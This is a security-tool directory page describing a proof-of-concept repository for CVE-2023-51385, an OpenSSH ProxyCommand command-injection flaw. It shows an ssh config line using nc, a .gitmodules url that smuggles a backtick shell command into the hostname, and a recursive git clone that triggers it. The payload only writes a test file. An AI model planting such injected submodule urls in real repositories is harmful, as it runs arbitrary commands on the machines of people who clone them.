Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-51385_test — 一个验证对CVE-2023-51385 | Kitploit
Tools/GitHubGitHub/ltmthink/cve-2023-51385_test
Vulnerability AnalysisExploitationWeb Application ExploitationSupply Chain SecurityLearning & Education
GitHubltmthink/cve-2023-51385_test

CVE-2023-51385_test

一个验证对CVE-2023-51385

View Repository
7172 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Verify CVE-2023-51385

First, add the following content to ~/.ssh/config

root@kitploit:~
host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

Command injection exists in the .gitmodules file statement

root@kitploit:~
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar

After configuration, execute the following command to trigger

root@kitploit:~
git clone https://github.com/LtmThink/CVE-2023-51385_test --recurse-submodules

If successful, a cve.txt file will be generated in the CVE-2023-51385_test directory

image-20240317161540677

Note: OpenSSH needs to be <9.6p1

See this blog for details:

https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html

Download Tool